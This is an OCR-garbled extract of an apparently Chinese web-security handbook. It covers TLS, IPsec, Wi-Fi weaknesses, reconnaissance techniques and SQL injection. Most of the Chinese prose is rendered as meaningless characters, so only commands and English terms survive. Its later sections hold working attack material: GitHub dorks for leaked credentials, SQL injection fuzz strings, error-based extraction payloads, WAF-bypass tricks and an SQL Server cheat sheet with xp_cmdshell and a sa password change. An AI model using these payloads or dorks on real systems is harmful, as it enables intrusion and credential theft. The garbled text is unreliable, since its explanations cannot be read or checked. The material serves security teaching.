HI IR 55 el % i A, AR TT 220 B BB UE R AR O, RO I TIE B, ARANE
WA, O 2 PR TSR . —BURAE Client / Server Hello iR 302 J5

Server Key Exchange

k5%, K H ORI AHASEERS 7% )0, —&HFl Server Hello 5 Certificate ¥£—4> TCP #3C
i,

Server Hello Done

M5 &%, —MtAl Server Hello, Certificate fl1 Server Key Exchange #F—/~ TCP it 3( .

Client Key Exchange

BRI, IRSS A H O RIS, SRS R A

Change Cipher Spec

B P R %, IR Koy Exchange %3%, 0 H DA THIAORSS1, SWAKH 7 UK S8 41,
B BT

Encrypted Handshake Message

s E RS 1%, BERAE Key Exchange k. ST, —J5 M) B C YRR AR G 25 80 i — Bl
SERIHE I XTTr, AR IR IR JC R TG, Xl DAIE B

New Session Ticket

g5 i dis , FoRKEKTE, E—BRIZ N GBI EIRZ A), SU7ARARIRI A By B 91Tl fE . M
XPASS, I IEATT G

Application Data

(o0 PR TSNS P 8 R A 5 BT 8 ) 2 D 2 O 8

Encrypted Alert

BB SS S Ak, TR N £ DR DA R L S DR P, X AN B Ak R e

2.10. SSL/TLS 45



Web-Sec Documentation, 475 1.0

2.10.4 EAEHFART
TLS 1.3

o GIAT PSK VRSB EYIHRIHL ]
o SCRF O-RTT #X, PAZAEVERRNACHY, eI ERAY ) 1 AR I )
o ServerHello 2 J5 i B A 8 T 1F BRI T I B4, mT WLRH SCRD
o AFAVEXTIMEIRSCHATEGE . AFHARVEIUT K EE R
o« DSA IEHAFAITE TLS 1.3 i
o MHBRANZE AR RS 510

— RSA SIS - A SCRalm 24t

— CBC ¥z 1 - 553 BEAST #il Lucky 13 Xy

— RC4 Ji#H9 - £ HTTPS i A %4

— SHA-1 MR % - A PA SHA-2 Bumi Lz

— {17 Diffie-Hellman #{- CVE-2016-0701 J3

— i - )52 FREAK 1 LogJam iy

2.10.5 Fihi¥
SSL/TLS sl —~w BERLHAL A, 7 AR T, F2HE:
« Handshake BjiX
— WRER L ESEREREL . 55w S OrAE (% PG S e %) . B0
« ChangeCipherSpec BHi¥
— —ZRIHERETIMNC A5 M
o Alert Bhi%

— MHEF I — R RO AR, 708 fatal Al warning PIDNUN, fatal FBHHHR S H
Heibr SSL #EHe, 1M warning ZUR 4R SSL BEEA T 4kSE, R KAy AR E

e Record ¥
— WIEXTE R B B4 HEINIERISERE Y. %%

2.10.6 &5k

46 Chapter 2. HEHI ML Sl



Web-Sec Documentation, &%5 1.0

RFC

o RFC 2246 The TLS Protocol Version 1.0

e RFC 4346 The Transport Layer Security (TLS) Protocol Version 1.1
e RFC 5246 The Transport Layer Security (TLS) Protocol Version 1.2
o RFC 6101 The Secure Sockets Layer (SSL) Protocol Version 3.0

e RFC 6176 Prohibiting Secure Sockets Layer (SSL) Version 2.0

e RFC 7568 Deprecating Secure Sockets Layer Version 3.0

e RFC 8446 The Transport Layer Security (TLS) Protocol Version 1.3

Document

o Wikipedia Transport Layer Security

2.11 IPsec

2.11.1 &F4r

IPsec (IP Security) /& IETF il €)= ZEEE ML, B4 Internet F A4 HRARIR AL T Mk . I
PR BT En 2Rk, RrE il s Z FFE IP 2l e SEARIAIESE 7 30, 248 T RATR
LA fRss

btk (Confidentiality)
— IPsec A3k 7 AEIE AL I 265 A i A0 AR 064 T 85 o
o BiPRse#E (Data Integrity)
— IPsec Bl X Rk Ty Bk R M AL HEATINE ,  DABR CRESHRTE (% S ad e b A i Bk
B K JNIE (Data Authentication)
— IPsec EREUCI AT DAAGIE & 3% TPsec ] SCHY & 26 215 &5 .
Bidji (Anti-Replay)
— TPsec FCy AR I H- 45 28 HE S0 of a5 Py S

2.11.2 iR

IPsec HAPATLA:

o 3ff IKE (Internet Key Exchange, PFFMZFGIZcHL), WISCBUBIRY HEHRTIIRE, Wb T2 BT
e . ATAE IKE @74 SA BiRSs, itk 1 IPsec AR BE.

2.11. IPsec a7


https://tools.ietf.org/html/rfc2246
https://tools.ietf.org/html/rfc4346
https://tools.ietf.org/html/rfc5246
https://tools.ietf.org/html/rfc6101
https://tools.ietf.org/html/rfc6176
https://tools.ietf.org/html/rfc7568
https://tools.ietf.org/html/rfc8446
https://en.wikipedia.org/wiki/Transport_Layer_Security
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o PN TP PulaEA TR 2 4m i B AR GERIAR 55 HR T LA TPsec, TS Do XTI 8 R ] ARG 55 A
DAL

o RPREAINE R AR O ALY, TS A ARSI R B, O CGR I T HLAT B T
IP Bl iy 24t m LA R M 2 e -

2.11.3 ¥R
IPsec HPUHR 7 P24 1

o TTFEEHAE TN Internet Z4HACHPY IKE (Internet Key Exchange Protocol)
o MTTREANRSS 50 WA AR R 1) %42 KB SA (Security Associations)

o HIEEVEHEIROIIAIEL MY AH (IP Authentication Header ) 1224 a1/ ESP (IP Encapsulating
Security Payload)

o AT AT AL B

2.11.4 2£B%% (Security Association, SA)

IPsec FE i i 2 PR AL A A5, S sl BFRA IPsec XT45{4

SA /& IPsec RyELRY, 12 IPsec AUART . SA JE&IB 5N SR A F LB py 258, Bilan, WAL (AH
ESP i@ P& 45l ) . it he s (L imBi Nk ERL) . %5k (DES, 3DES fil AES). #f
TR RIS L =B DB EE RIS . Br SA iR F LEEA IKE H 3P Wik .

SA R, TEMNXTEEARZ RIFOUE TS, ST EAS SA SRAHIX I J7 0 BB R 34 T e AR
[EE, WERPTAXT AR LRI AH A1 ESP R 7L 2805, MR SRS 4 5 B —Fh PSR4
H—ANPhSI) SA.

SA HH— A =JcHKME—FRIE, XD =JC4HMFE SPI (Security Parameter Index, Z4Z3&5]). HIY IP
bk, Z4Wils (AH = ESP),

SPT 2T ME—FRil SA (94> 32 HUARRUE, E4E AH Rl ESP Skrp it 72 THCE SA i, FHEF T
& SPTHUE. B IKE Mg SA i, SPT REBELA L.

2.11.5 IKE

IKE (RFC2407, RFC2408, RFC2409) J& TR & Uil , By Internet 244 S BEAIEAHS MY (ISAKMP)
MR WML OAKLEY 5 SKEME 4. IKE f#7Ed ISAKMP & XHESE |, #TH T OAKLEY
H AR B DA K. SKEME (3L a0 s AR, b E X T8 H O MRS e i 52 .

IKE i ] 7B Bt ISAKMP:

—BrBE, PRI NEE G (IKE SA), HAHZEEIFTRAL, X7 #E—2 i IKE @5 gtk .
»% JELSERME DA R BRI IEIR S s 55 B, T2 IKE SA 757 IPsec SA (V2 diil Child SA).
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2.12 Wi-Fi

2.12.1 &

Wi-Fi B “TAHi” B “TLM%, & Wi-Fi BERRER, — 5T TEEE 80211 bR T2k R8s
R,

2.12.2 ik

RN

WiFi 52 5 T HUE RG], W] DAE 1 HTURGHR SCHY 7 3 UTEAS iy RS ) 4L B AT 2 T A i1

AY \t
% 19.%0“\

AP WA E T, R ARSI ARRER . W ADhiE AP KRR RIS, Rk
b B R AR R S o

D E

i i Vanhoef %8, Wi-Fi 7EHEFBOO07 2 HOFALY], SBGHES FiRFE R, 2% i 22 i
[ KRR o

Dragonblood

RORTAR) WPAS FREAESSI EA7 A — S, [AFE Vanhoef %30, LSS Sk, WRALEGE . U
M.

2.12.3 &5

o Wi-Fi Alliance

e Dragonblood : Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd
o Improving Privacy through Fast Passive Wi-Fi Scanning

e Practical Side-Channel Attacks against WPA-TKIP

e Key Reinstallation Attacks: Breaking the WPA2 Protocol

e RFC 7664 Dragonfly Key Exchange
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https://www.wi-fi.org/
https://papers.mathyvanhoef.com/dragonblood.pdf
https://papers.mathyvanhoef.com/nordsec2019.pdf
https://papers.mathyvanhoef.com/asiaccs2019.pdf
https://papers.mathyvanhoef.com/blackhat-eu2017.pdf
https://tools.ietf.org/html/rfc7664
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ERUE

3.1 MEAO/ER

o PIgHIER
= ShMH
o IP 55
OB
o LM%
— Wi-Fi
* SSID
* AIE(E B
« VPN
- IR
— B3I
o HBPER
« FHl APP
. IEFIES
« OA
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. SSO
o B
o LliFsER

3.2 BEER

3.2.1 Whois

Whois A] PAREIAIIRAS & i, DA IS i a5 BB, b RE e — 2o s e, Bl
U E TS NN 2R =)/ NN (VR

3.2.2 ¥FSIEHE

WRGEEE S0 REAE R, WPAE site: domain IEVERAA .

3.23 =/
W2 A A 24 22 i 5 =0 Y PR BE T IR AT AR, R TA —L861, 2R M T ATE 8.1 THAF g
.

« DNSDumpster

« Virustotal

« CrtSearch

« threatminer

e Censys

3.2.4 ASN {EBx<Bx

FEMZE A HIRRSE (Autonomous System, AS) J&— M RLH EHIPETFEA RGEH IR a0 £l P
AR /N BALARE o XA ) 45 BT T DA — A1 LR I 248t ] DA — A | — B0 1 ) 42 L 6 oA 42 i ) 4
SRR, R AR B M4 BT (Bl — TR, — ks — A EANME)

— A BIR ARG RHGRR 2 — N 3, (routing domain) o —AN FIA RGURF & L — 2 R ME— )
16 5, XS HIGRSS (ASN) o BT PAE S ASN Sk nl GeAH 1) TP, 4N

whois -h whois.radb.net -- '-i origin AS111111' | grep -Eo "([0-9.]1+){/}/[0-9]+" | uniq

nmap --script targets-asn --script-args targets-asn.asn=15169
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3.2.5 B &A%Y
il ol /A ATE A8 8 A AR S, BV T i — AR, B0 T 146
R AR, FTOABE R SORFER SIIIRA, . — B P T

o B IR

o B EISRT

o RS E A

. AT

o RAEEMA

o SEREEN A AEEI AR

o B IR R

A LRI OB ) T4

WAk, FaARHER MR AR, SEENERE tid #3845, Bil4n example.com / example.cn . {HZR[H tld )
I WA e 2 e N, 7205 AN

3.2.6 MILEEFA

Wi A Z AR, WA, ZILefng . WESETRERE L EE.

Wl A B A LB R TR, SR I XTSI, T RAGE R IRt Ak
AL IR . XS5 Bl HH BUAE JavaScript SCIF. BHRSCPH RS A E .

IR 32t FA) 2 e SR QS AR SR . CST LI S5 3 th A0 5 AR SR (9 8 L o A M ANk o 7 5 (> Bl R —
A~ SSL/TLS b5, A A I Rl 5 e kA5 R R UM S ek44 15

3.2.7 HTTPS iE#$H

EFEBRE

HTARIE HTTPS IEB AR A B thit, CA SFHEBICREI T AL, AT S H M A2 B
G, ARATESGERA A T AT DA d AP O B BT A IE T o R AT DASE 1 38 B BGIE A3 14 7 0k
ARG I

SAN

L4 1144 FF (Subject Alternate Name, SAN), ki, TEHEL S, I TATURS I, £
Jil SAN 45, SAN AVFEZAERHHT subjectAltName 5B 2 A SUEFCHE, 1K HE M BERR
G AR
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3.2.8 i EXIRE

DNS %1% (zone transfer) FRAZTUA A1 IR 55 4% 6 oK A S5 S A9 BRI T H S AV (zone) Kt
ey IEINIRE . & S B O N DS K b 2 e S e 2 VI

— MR, A R R R AVFATE R ) DNS R85 408, (E2 ARERIE TR, BAEENF
HOATASRAGEE S DNS iz 55 85 A4 7 R X PR BRI /2 DNS & s i -

3.2.9 Passive DNS

Passive DNS 4 2l 1) 35 35k 424 g 55 #5258 % B AN Rl 4 AR S5 2 ma 1., T2 UEda e . il ] Passive DNS 4§
P DAHITE I 4 8 40 2 i WL TP, TP R GBI WIS 4 | $ui B L/ Bl H BRI B 1a) SRt e Ky
FEh, Virustotal, passivetotal, CIRCL £&MWuhEREHL T Passive DNS ¥4 i 25 14)

3.2.10 ;ZER¥T

ZIENTRAE *.exzample.com PTG A CEAMEATRFEAS TP Huhk b, 783048 Hess e g BEAR PRI AR B0 PABT
2SN N0 L O TR

3.2.11 EEgHF

CNAME

CNAME B[l Canonical name, X% alias, 4380 75— 844 . HApnl e & HAah B S E R, R
Z Wk ) CDN JInsESh e R Ti%ic5%.

MX ig®

MX e Bl Mail Exchanger, 05% 1 %1% BT BRI X I AR S5 ok mTDARIOR 4K SMTP 5548
=

H./Gho

NS ig®

NS (Name Server) iCogie k4 o5 arimicsk, IR E A WA~ DNS Jz 55 &R b7 A -

SPF i2#

SPF (Sender Policy Framework) &4 T By [E374% MRLF £t 2k i —Fh DNS 5288, B—fp TXT *EAE’J
05k, HTEICEA A A W RINE R BT TP Hohk, @it SPF jEsk ] DAAREGH X1 IP 5 .,

4N dig example.com txt ,
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3.2.12 CDN

CDN 84

B 2 ping 1977 U E H AR WA T CDN, # M54 http://ping.chinaz.com/ https://
asm.ca.com/en/ping.php %%,

HaERK

T T CDN f3sk (5l 73848 A i 7 CDN, - Al Ak 7 s A AL o g 1P

mRiLRER

CDN TTABSRAER 3 - — BN A R, DB A b A4 b iC e i Iy ot 2 204 155 1P,

R {52

ettt 2 TARR2AR O ST I8, AHRCE S H gk IP Huhl, TP HuhbnlgBJ& M vl pg BSE IP s34 2 H AR
RO IP.

3.2.13 FiE IR

BT I N7 B 1N - ST DE s g S A TR el ne i T VR 1B 11 = =g N D W S RS v )

3.2.14 FEHFWEAR

AL 46 vl FE A S BCE DNS IR 55458 0 W0 45 A SRR 2 M pf i 55 . 3k48 877 il (DNS Cache
Snooping) FEAHLRE X LER 55 s AR EHTIR , (HHAFARZSROMEBIERE, TR R 54
Ik o X AP T DA RN e 15 (T Ak, JEHR AT

3.3 igOE2

3.3.1 ERmOREESES

. FTP (21/TCP)
— BRI\ 4,35 anonymous : anonymous
— B IR
— VSFTP RfRAJG]
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SSH (22/TCP)
— T4 AR SSH AEAE il W Mz H P 44
— B AR
Telent (23/TCP)
— IR
— SRR I SO 1
SMTP (25/TCP)
— JCINUER AT P A A A
DNS (53/UDP & 53/TCP)
Sl e 1
DNS 3
DNS Z174%#%

DNS J5h

SPF / DMARC Check
— DDoS
* DNS Query Flood
* DNS Sz
— DNS [%iE
DHCP 67/68
— B/
TFTP (69/TCP)
HTTP (80/TCP)
Kerberos (88/TCP)
— FEH TR KDC ik
— T T A TR R e Y Dy
POP3 (110/TCP & 995/TCP)
— JE
RPC (135/TCP)
— wmic [k %5 #1
NetBIOS (137/UDP & 138/UDP)

56
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— KRR
- B4
NetBIOS / Samba (139/TCP)
— KRR
- FHHL
IMAP (143/TCP & 993/TCP)
SNMP (161/TCP & 161/UDP)
— Public 5§14
LDAP (389/TCP)
— T A BR B AR 55
— A5
- A
HTTPS (443/TCP)
SMB (445/TCP)
— Windows Hs(i, T2LhaeN 0I5
— net use \\192.168.1.1 /user:xxx\username password
Linux Rexec (512/TCP & 513/TCP & 514/TCP)
- HOLY
Rsync (873/TCP)
— R
RPC (1025/TCP)
— NFS A1
Java RMI (1090/TCP & 1099/TCP)
— BF MG iy AT I
MSSQL (1433/TCP)
— $95TH
— %541} GetShell
— SA {41
Oracle (1521/TCP)

- B
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. NFS (2049/TCP)
— BRI EAN Y
— showmount <host>
« ZooKeeper (2171/TCP & 2375/TCP)
— THHIAIE
« Docker Remote API (2375/TCP)
— KRR TP / KA TLS S Ak
— http://docker.addr:2375/version
. MySQL (3306/TCP)
— BT
~ H#5 WebShell
~ UDF 4§
— MOF 424
« RDP / Terminal Services (3389/TCP)
—
« Postgres (5432/TCP)
— FHEHD
- PATRG WL
« VNC (5900/TCP)
— FHEHD
« CouchDB (5984/TCP)
— KRBT
« WinRM (5985/TCP)
— Windows %} WS-Management [{J523f
— 1€ Vista FFEFIFEL), £ Windows Server 2008 H1filk 552 BRINTF R
« Redis (6379/TCP)
— JCERY B 55
— #iXHEES WebShell
— THRIMES5 3 Shell
— 5 SSH A4
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— EM RCE
— Windows 5 53T
. Kubernetes API Server (6443/TCP && 10250/ TCP)
— https://Kubernetes:10250/pods
« JDWP (8000/TCP)
— mAEAr AT
o ActiveMQ (8061/TCP)
o Jenkin (8080/TCP)
— KRBT
« Elasticsearch (9200/TCP)
— U AT
— http://es.addr:9200/_plugin/head/
— http://es.addr:9200/_nodes
« Memcached (11211/TCP & 11211/UDP)
— BT
o RabbitMQ (15672/TCP & 15692/TCP & 25672/ TCP)
o MongoDB (27017/TCP)
— o Y
« Hadoop (50070/TCP & 50075/TCP)
— R
B T A ESV R R BE B R0, BRERAE A M RIS AN e BoR i, R T REAFAEC 2 A T el

3.3.2 BRmOA#ER

£

AR FEALSE N =R T5 H bR EURIEA i @SB 2R, s i , W 1 Ab T HCIRA
JRZALT RPAPIRAS -

A IR R, HLDABARAOA BRI i AREA T2 0 . (R AR B H G P A R B R AT
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1

FA AR SYN £, FEF, (U SYN BaBe, WeRMAE N RST, MWkg A AT RMPARES, #5

#R SYN/ACK, Wi AL T HEPIRAS .

XA 7 A

FIN }34&

AT Ay SR R R AR, T AR AR By Stk L 2T 0

FIN 2 ) H AR & is—A FIN Bl td, WP icisn b, SaRlel RST Bt PSR 2% [u]

B td, A I Ay SR WG H R T IT

XA HIATE TCP = AR FHPRE S, BreAASaCs, X SYN Sl 2 il — 2.

3.3.3 Web BR%S

e Jenkins

S
o Gitlab

— MYHRA CVE
e Zabbix

— BUREEA S

3.3.4 HERR

e Censys
e Shodan

e ZoomEye

3.4 {RER

o JUWTIR G BRA: R S

— Linux R/NFHUK

— Windows K/NE AR
o FIRBURSCE

— robots.txt

— crossdomain.xml

60
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— sitemap.xml
— XX.tar.gz

— xx.bak

A
=3

e WIS 5 5
— {1 PHP / Java / Python %
— RJE4%, i php/asp/jsp
T S HE 2R
— 411 jQuery / BootStrap / Vue / React / Angular %
— AH VA
v R] I 55 2%
— i1 Apache / Nginx / IIS %
— A header F1HFE
— AR S T
— R BRI T H T
Web #3553
— 41 Tomcat / Jboss / Weblogic %
Jr S HEZE
— R4 Cookie Hr
— HR¥E CSS / P T 459U hash {E 57
— His URL g ih i
* 4 wp-admin
— AR A BT e S R
— HRAEm R 3k ) X-Powered-By
CDN {8
— WA Cloudflare. yunjiasu
WA BT WAF, AT, fH228%00
- WAF, gy
- &f, AT
FU UK H %, B E AR B

3.4.

RIER
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— i A ORI wl, NNER Y
o [ NE U TQHR 4 i 5 5

o EEEEEE, @ ERWMHERARR, ARSI R TR ST RN L g B, e
Foeir A B, D B 22 Y SR S

o HWWAIH
— XTI RG
- IHELRENRS

3.5 BESIEFIA

o U 8 R5% (Google/Bing/Yahoo/Baidu 45 ) ] AZRE HARS, B2 (7 E -

3.5.1 #ES|ELIBRE

o B piib s
— R
- KNG
— B RATS
— TR %
= By, O PRREeE. BT
— [ 3G 5
- PENYE

o AP
— I3
kil
— AREfE Rk

3.5.2 #ERIS

e site:www.haol23.com

— R[] Bt H bRl SR R 5 | BRI T 2

e site:www.haol123.com keyword

— IR H ARl R 2R T B TUOI SR A 55 1 O B R ) T A T
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— BALRTDARE R BOE MR G, BHUEG, S, mHkn S
e site:www.haol23.com inurl:admin.php

— &[] H ARk S HHE RS admin.php BFTA T, FTPAME A admin.php/manage.php o #
HAth ¢ B R] > 4% 56 4 ) BE UL 1

¢ link:www.haol23.com

— R FrA A H ARl R SRR DO, P i HIT RN R AR, PR, BT
AR =T AT, BRIk REAE

¢ related:www.haol23.com

— REIPA S HARuE A AR B, TRt el R R AR

 intitle:”500 Internal Server Error” ”server at”
— R TR

e inurl:”nph-proxy.cgi” ”Start browsing”
— ARG 4

fT AR cEET, @A allintile / allinurl / allintext / inanchor / intext / filetype / info / numberange /
cache %,

BECHT

o * AR BT

« OR =i | R EH

o AT FTER + Feom A

o FATAIRTER - FEHERRUHR T
o BRI AT

o BHARD NG
o TSP
o ZRAM and BEIFTHER

3.5.3 [rER
ARG ER PRI R A — SRR B, AR 5 BT DA I il LR B A, B — SR I e ff

AL IR, BB IS TETT % T 5 6 I REBLR A IR, 83825 A T AS R 2 531
BEIF AR R G EE U PRI, RIBE SR Pl 1A R A, (HIR T | PR ) PR B X 25
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FHMA L B RIS BEBR IR DI BE, 4 Wayback Machine il Archive.org 2.

3.5.4 Github

1 Github W1, WTRELAFTEIRADES . AccessKey JHEg. A0, JR554em EMER SFIH 0L, W WM REITH
e Qexample.com password/pass/pwd/secret/credentials/token
e Qexample.com username/user/key/login/ftp/
e Qexample.com config/ftp/smtp/pop
e Qexample.com security_credentials/connetionstring

e Qexample.com JDBC/ssh2_auth_password/send_keys

3.6 H&TE®

3.6.1 USRI

SSRGS, WU R TR PR, GRS, M
R AR i .

AT S LA I RO

3.6.2 \REEHE
R B B T ARG AL A X RIGUCERIT. A R R A
EoW £ NI N = NS, NN N & I NGUIN Y

NG BMCER B AE S A D RGE M, Pl ] BE & it A A PR SE A BIREE . ISR R 2
RE AR R A B R mT BEAS 2 1 BT T 2 S M3 N AR 2% R (st B oAt 2207 5K

TEARBGX L5 5, PIPATE Github/Linkedin 484172 . S5 Rl g — 2D A o 26 AAE B IEM A5 H
PRul A K —EE L, 2 B RIS S

BEAh, AT DA ARECE] i AR A T 2 i AR e ) B4, BREBON Y A2 1Y

3.6.3 §9&

ETZadEREE, ATAEH Office/ CHM/RAR/EXE/ Py 55 kg X EF s bpF ik 2 H AR,
HE— I EEAE

Hrr Office A PAf# A Office il %, OLE X%, PPSX %5 =Cka s Al H S

Exe W] DA FH4KAY Unicode ##] 74574 RLO (Right-to-Left Override) %53 #4825 5 IR I 1 SCE4
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RAR F R F 2 07 SORM B RSP, RN ) 48 (AR AE — S R BT ARSI R F I 5 A A
s

AR AT SRR Tis4ESE N BIRGERAE, LA 4E N BIARYIRAE A0k, AR AR MR AN R R
] A P i s PR 0 7 AR R o

W EERENE, MAEINIETEEE A, NS T RAL. AR RENEE . R AS%
€A N RIE M LS 25 B0 . b A N RG] B ) FEL 1 IS e 55 BRI SEATHE L
3.6.4 Hitfs8

WHEIPARS . S Wk, RTRME. B SOESERESAAE— L URfE B, i VPN/E2HLIKS .
TeamViewer K5 . MZZKFIINDS . RGN D5,

3.7 &%k

o Uit B IERLE
o REFRLTIN L
o ZLBAINIRZ HBAEHT pi

o HRPFDhiEZ SPF Seid iy 5 Fidl g
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® Wi BB

4.1 SQL FA

4.1.1 FAD
&

SQL FEAZ—MUHEEASOR, T B KEh i SRR T . AER AR, AR B MU A, )
FREEREEE R SQL I AISHR AR A TBOH AT (BIAnRF s A A et b ¥ ) -

IR

RRAEFE I A5T, SQL AN 73y
. HIE
— M/RETE: HAEMY R ] A 3 Wil AT J5 i A R
— WAIE WA IR el 52, S AB SRR 4 IR ] ek ORI e
o MMEFEA: B & s A e o A AR 5 B
o MEERIEA: AMINVHRLAINA 5 J5—RITZ 5KER

o« HAth
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HIREERR X 53¢

73 ST DARIE SRR 7 2 3 26

inband

FIHS Web [ J1 R BLEPIBCEE, AAREETEA , X I AR 1 3 11 04 ) B2 827 i 2 S A A B

inference

Wi Web i9—LE SIWORIERTEE , i /R ETE, Wbe RATEMAEE, @il web LV A4 HALSCAL S HE
G/

out of band (OOB)

T I A AR 7 SORRAGEE, H A DNS b bR g«

4.1.2 FENEN
BREEAR

« GET/POST/PUT/DELETE %k

¢ X-Forwarded-For

o A

Fuzz R
o v/
e 1/1
e« 1/0
e and 1=1
e " and "1"="1
e and 1=2
e or 1=1
e or 1=

e 'and '1'="'1
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Y

<> ||| & &&

¢]

515 hdT

WAREE

@@version
@@servername
@@language

Q@@spid

iR TIE

40 http://wuw.foo.com/index.asp?id=12+union+select+null,null-- , AHEENI null £ AR [H

REEEN

select 1/0

select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from

information_schema.tables group by x)a

extractvalue(1l, concat(0x5c, (select user())))

updatexml (0x3a,concat (1, (select user())),1)

exp(~(SELECT * from(select user())a))

ST_LatFromGeoHash((select * from(select * from(select user())a)b))

GTID_SUBSET (version(), 1)

BT geometric BRI

GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from(select * from(select user())a)b))
multipoint((select * from(select * from(select user())al)b))

multilinestring((select * from(select * from(select user())a)b))

4.1.
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e LINESTRING((select * from(select * from(select user())a)b))

e multipolygon((select * from(select * from(select user())a)b))

HpREOERERE, BT exp RAIIENE AL MySQL 5.5.49 JG A C A AR, REITASH XA

commit 958251 .

MM PA_E AR BT geometric HYFREFEALDXAS commit Scacad FHHIBIR, TE 5.5.x BEGHIHCAH AR
AR

HWEREN

e ;select 1

R

o ——+
o /xxxXX*/
o /XIxxx*/

e /*!50000xxx*/

) ifract ins #R

o A trunc
o T IEREAN T
o B IE R T

o slash Fl4mhg

)

o IR AR
— and exists (select * from msysobjects ) > 0 access %%
— and exists (select * from sysobjects ) > 0 SQLServer %{#i/%E
o JIMTBAER AR
— and exsits (select * from admin)
o A, FWHA. HPH. E4
o B
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— Wi B
* Order By

* Select Into

- K4 I4

A AR

. SCPRRAE
— BRI
— 5 shell

o Hshilit
~ Mk

4.1.3 BRREEFH

UDF 28

UDF (User Defined Function, f/*FHEXeki%l) & MySQL $2fti—2hfiE, mIPAiid4sS DLL 9 A
MySQL #shgrek &, 3§ s HIkE.

LA MySQL RURZ )5, Rl XA B A% B O8RS, A MySQL T R 4Eam4 .

4.1.4 RSN
MySQL

o sleep sleep(1)
o benchmark BENCHMARK (5000000, MD5('test'))
o TR
— SELECT 'a' 'b'
— SELECT CONCAT('some','string')
e version
— SELECT @@version
— SELECT version()
o BUNMT A%

— connection_id ()
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— last_insert_id()

— row_count ()

Oracle
o PR
— 'a'||'oracle' --
— SELECT CONCAT('some', 'string')
e version

— SELECT banner FROM v$version

— SELECT banner FROM v$version WHERE rownum=1

SQLServer

e WAITFOR WAITFOR DELAY '00:00:10';
« SERVERNAME SELECT @@SERVERNAME
e version SELECT @@version

o TR

— SELECT 'some'+'string'

— @@pack_received
— @@rowcount
PostgreSQL

e sleep pg_sleep(1)

4.1.5 GiFHI5

- KNG

— url s

— html {5

— NP D
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— unicode 45
o R
= // == == +-= —# /xx/ ;%00
- WIERERMIEL , B —MRHE /tex/ 2 MySQL fER
— e.g. index.php?id=—1 /*!UNION*/ /*!SELECT*/ 1,2,3
o JUdIE ¥ kit
— union => ununionion
o AHIRIDyHERS L
— PR
* substring / mid / sub
* ascii / hex / bin
* benchmark / sleep
— AR H P

* user() / @Quser

— PSR
* and / &
* or / |
« HTTP %%
— HTTP BS54
* id=1&id=2&id=3 MIEEGA R G AR YEER
— HTTP pHREA
o LRI i
— —6 C IEFN WAF LB FAFR KA, B A KGRI payload A REAR 24k 3
o TURHEAA KBRS, i 2 AT R O VA SRR PR B K B et

4.1.6 SQL F AN/ KIS
BFWEAN

— R BT gbk ARt BOT AR, 2] set names 'gbk' RKUE, XAJIHEF T
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set

character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';

TR AR R R 2 AT T set character_set_client = 'gbk'; ZJ&, mysql Bieil e i T R 4L
P2 gbk HRtLiy, MIMAEH gbk Zf#AY, T mysql_real escape ETEMFRYHIIATHY . (H/2 HH%H set names
'gbk' i real escape @ ANHIE K B BRI, B %5c o MU server ERIEIRMID I NTER
IFAF +%5¢ J& gbk MI—FAF, XFERE AT T .

UL INER =R, S—FP 23 client 1) charset 1% ¥4 binary, SEASH—IKAEEAE. B M2
mysql_set_charset ('gbk') , XML& 15 BAREAE ARG 22 i i3 B, A & BBl AN m T
5 =Mt2H pdo.

A — S HAB A g fig 3 15, Hean latin £ F46 I0R0H unicode, A4 admin%32 FEALHS H AL T admin, 7E
Bl A 255 T admin,

ZREN

K SQL #A (Second-Order SQL Injection) jg—FhHpIRZEAA) SQL HAL . H5—BH SQL AL
R, B Sld f AR SQL AR SATIRESRAE. K SQL FEANZ I8 BB e AR
TENETE IS, AR5 5 o B R PR ik Se i A7 AP A o 24 1 PR Py P 0 e P S U L A
i, SRR S PR, F TR

Bian, —A web WHRERF R RESREH - H AR A A E R R A, SRS J5 2 4 DT TR PP RF I 28 4 28 S
R WERBGEETE M A A TR SQL B4, B ALY S R o 24 B AP
R e s UK S N AR AR S e P I, SR SQL EAIUA W RERIAT . AT s .

S SQL AT, —UK SQL AL SEAME AR JEFIASIN , PR A ety 2 5 A B 1) I AR e
AR SQL A, IR AR R PR S R Y AR PP R . R, 7 1Rk SQL P ATt f BRI —
SERRIRAY B A , (90 0l i A KIS R T SIS 0 I E AN SCAR B, (8 T 4R

4.1.7 CheatSheet

SQL Server Payload

# 1 Payload

¢ Version
— SELECT @Q@version
— SELECT SERVERPROPERTY('Edition');

— SELECT SERVERPROPERTY('EngineEdition');
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Comment
— SELECT
— SELECT
Space
— 0x01 -
JIJRLRFS)
— SELECT
— SELECT

— SELECT

SELECT
JP LR

— select

— select
List User

— SELECT
LS LR RS

— SELECT

— select

1 -- comment

/*comment*/1

0x20

user_name ()
system_user
user

loginame FROM master..sysprocesses WHERE spid = @@SPID

IS_SRVROLEMEMBER('sysadmin')

IS_SRVROLEMEMBER('db_owner')

name FROM master..syslogins

name FROM master..sysdatabases

concat_ws(table_schema,table_name,column_name) from

information_schema.columns

— select

AT %

quotename (name) from master..sysdatabases FOR XML PATH('')

— EXEC xp_cmdshell 'net user'

Ascii
— SELECT
— SELECT
— SELECT
Delay

char (0x41)
ascii('A")

char (65)+char (66) => return AB

— WAITFOR DELAY '0:0:3' pause for 3 seconds

Change Password

— ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'

4.1.
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o Trick
— id=1 union:select password from:user

SRR

— OpenRowset
A I

— select text from sys.dm_exec_requests cross apply sys.

dm_exec_sql_text(sql_handle)
e hostname
— T HIW R o
— select host_name()
— exec Xp_getnetname
IR 55 %545 S
— exec Xp_msver

- REAHE

— select * from sys.configurations;

AMRES

e xp_regread
— exec xp_regread N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH'
e Xp_reguwrite
e xp_regdeletvalue
e xp_regdeletkey

e xp_regaddmultistring

REEEN

e 1=convert(int, (db_name()))

wRER

« SUSER_NAME()

« USER_NAME()
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« PERMISSIONS()
« DB_NAME()

« FILE_NAME()
« TYPE_NAME()

« COL_NAME()

DNS 00B

o fn_xe_ file target_read_file
e fn_get audit_file

e fn_trace_gettable

HivwAEMEE

e sp_execute_external script
e sp_ makewebtask

e sp_ OACreate

e sp_ OADestroy

e sp_ OAGetErrorInfo

e sp_ OAGetProperty

e sp_ OAMethod

e sp_ OASetProperty

e sp_ OAStop

o xp_ cmdshell

e xp_ dirtree

e xp_ enumerrorlogs
e Xp_ enumgroups
e xp_ fixeddrives

o xp_ getfiledetails

